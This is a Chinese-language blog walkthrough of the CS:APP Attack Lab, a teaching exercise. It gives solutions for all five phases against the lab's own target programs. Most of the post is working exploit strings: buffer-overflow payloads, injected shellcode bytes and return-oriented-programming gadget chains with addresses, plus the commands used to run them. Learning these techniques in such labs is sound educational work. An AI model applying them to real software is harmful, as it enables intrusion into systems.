lagrange's blog

what's dead may never die

0%

Attack Lab实验攻略

在通过了Attack Lab的五个试验后,写一篇博客,总结一下实验当中遇到的问题和解决方案,下面一个关卡一个关卡的说

  1. phase1 phase1应该是最简单的一关了先汇编getbuf的汇编代码我们可以看到第一条指令为 sub $0x28,%rsp ,即向getbuf函数分配了长度为40个字节的空间,要求调用touch1,故构造攻击字符串如下所示

    1
    2
    3
    4
    5
    6
    23 33 33 33 33 33 33 33
    23 33 33 33 33 33 33 33
    23 33 33 33 33 33 33 33
    23 33 33 33 33 33 33 33
    23 33 33 33 33 33 33 33//从开头到这一共有40个字节,刚好使缓冲区溢出,将返回地址覆盖为touch1的地址
    1d 18 40 00 00 00 00 00//touch1的地址,注意使用小端法

    phase1主要是熟悉实验操作,在写完字符串后使用 vim attck1.txt将字符串复制进去,wq退出 ./hex2raw < attack1.txt > attackstring1.txt将其转换为字符串 最后。./ctarget -i attackstring1.txt完成实验

  2. phase2 这关要求写汇编代码,要求输入cookie值,则需要将cookie放入寄存器%rdi中再调用touch2 Getbuf返回地址被篡改为缓存区写入命令的地址 编写汇编码

    1
    2
    3
    movq $0x29110ecb(cookie值),%rdi//把cookie值作为参数传入
    pushq $0x401849//把touch2的地址压入栈中
    ret//返回调用touch2

    使用下面一系列命令得到汇编代码

    1
    2
    3
    4
    5
    6
    7
    vim attack2obj.s
    gcc -c attack2obj.s
    objdump -d attack2obj.o
    0000000000000000 <.text>:
    0: 48 c7 c7 cb 0e 11 29 mov $0x29110ecb,%rdi
    7: 68 49 18 40 00 pushq $0x401849
    c: c3 retq

    构造攻击代码为

    1
    2
    3
    4
    5
    6
    48 c7 c7 cb 0e 11 29 68//通过之后的栈顶指针返回到这执行
    49 18 40 00 c3 00 00 00//就是反汇编的汇编代码抄下来
    23 33 33 33 33 33 33 33//指令编码无需小端法
    23 33 33 33 33 33 33 33
    23 33 33 33 33 33 33 33//抄完汇编代码随便填,直到这溢出
    a8 1d 66 55 00 00 00 00//栈顶指针的值,需要使用gdb监视
  3. phase3 观察源代码要求将cookie以字符的方式输入与之匹配,传入的是cookie的指针,那么需要将cookie存在栈中的某个地方调用hexmatch可能会把之前栈里的东西给抹了,所以不能放在getbuf的栈里,放在其父栈里比较合适

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    48 c7 c7 d8 1d 66 55 68
    5a 19 40 00 c3
    //执行
    //movq $0x55661dd8,%rdi把cookie地址给放到%rdi里
    //pushq $0x40195a把touch3压到栈里
    //ret返回调用touch3
    00 00 00
    23 33 33 33 33 33 33 33
    23 33 33 33 33 33 33 33
    23 33 33 33 33 33 33 33//从00开始填充剩下没用的缓冲区
    a8 1d 66 55 00 00 00 00//getbuf栈地址结束跳转执行汇编缓冲区内的汇编代码
    32 39 31 31 30 65 63 62//以ascii码储存cookie值,这是字节数组,本来小端就应该是顺序写

    4.phase4 这个关卡要求在start_farm到end_farm之间寻找代码来完成注入攻击在程序中采用了随机栈需要拼凑代码,在汇编代码中找到两个gadget为

    ``` 946 0000000000401a1f <addval_350>: 947 401a1f: 8d 87 cd 0e b7 58 lea 0x58b70ecd(%rdi),%eax// pop rax 948 401a25: c3 950 0000000000401a26 <setval_464>: 951 401a26: c7 07 18 48 89 c7 movl $0xc7894818,(%rdi) //rax->rdi 952 401a2c: c3 retq

    1
    构造攻击代码如下

    23 33 33 33 33 33 33 33 23 33 33 33 33 33 33 33 23 33 33 33 33 33 33 33 23 33 33 33 33 33 33 33 23 33 33 33 33 33 33 33//使缓冲区溢出 24 1a 40 00 00 00 00 00// Pop %rax cb 0e 11 29 00 00 00 00//cookie值存到%rax中,即待pop的值 29 1a 40 00 00 00 00 00// Mov %rax,%rdi 49 18 40 00 00 00 00 00//调用touch2

  4. phase5 找到的汇编代码如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    1034 0000000000401ab0 <addval_250>:
    1035 401ab0: 8d 87 48 89 e0 c3 lea -0x3c1f76b8(%rdi),%eax//rsp->rax 401ab2
    1036 401ab6: c3 retq
    950 0000000000401a26 <setval_464>:
    951 401a26: c7 07 18 48 89 c7 movl $0xc7894818,(%rdi)//rax->rdi 401a29
    952 401a2c: c3 retq
    946 0000000000401a1f <addval_350>:
    947 401a1f: 8d 87 cd 0e b7 58 lea 0x58b70ecd(%rdi),%eax// pop rax 401a24
    948 401a25: c3
    1030 0000000000401aaa <getval_177>:
    1031 401aaa: b8 89 c1 20 c0 mov $0xc020c189,%eax//eax->ecx 401aab
    1032 401aaf: c3 retq
    1014 0000000000401a8f <getval_110>:
    1015 401a8f: b8 89 ca 84 c0 mov $0xc084ca89,%eax//ecx->edx 401a90
    1016 401a94: c3 retq
    1086 0000000000401b09 <getval_428>:
    1087 401b09: b8 ee 89 d6 c3 mov $0xc3d689ee,%eax//edx->esi 401b0b
    1088 401b0e: c3
    958 0000000000401a33 <add_xy>:
    959 401a33: 48 8d 04 37 lea (%rdi,%rsi,1),%rax//lea (%rdi,%rsi,1),%rax 401a33
    960 401a37: c3 retq
    950 0000000000401a26 <setval_464>:
    951 401a26: c7 07 18 48 89 c7 movl $0xc7894818,(%rdi) //rax-rdi 401a29
    952 401a2c: c3 retq

    构造如下字符串,至此实验完成

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17

    23 33 33 33 33 33 33 33
    23 33 33 33 33 33 33 33
    23 33 33 33 33 33 33 33
    23 33 33 33 33 33 33 33
    23 33 33 33 33 33 33 33
    b2 1a 40 00 00 00 00 00//rsp->rax
    29 1a 40 00 00 00 00 00//rax->rdi
    24 1a 40 00 00 00 00 00// pop rax
    48 00 00 00 00 00 00 00//bias
    ab 1a 40 00 00 00 00 00//eax->ecx
    90 1a 40 00 00 00 00 00//ecx->edx
    0b 1b 40 00 00 00 00 00//edx->esi
    33 1a 40 00 00 00 00 00//lea (%rdi,%rsi,1),%rax
    29 1a 40 00 00 00 00 00//rax-rdi
    5a 19 40 00 00 00 00 00//touch3
    32 39 31 31 30 65 63 62//cookie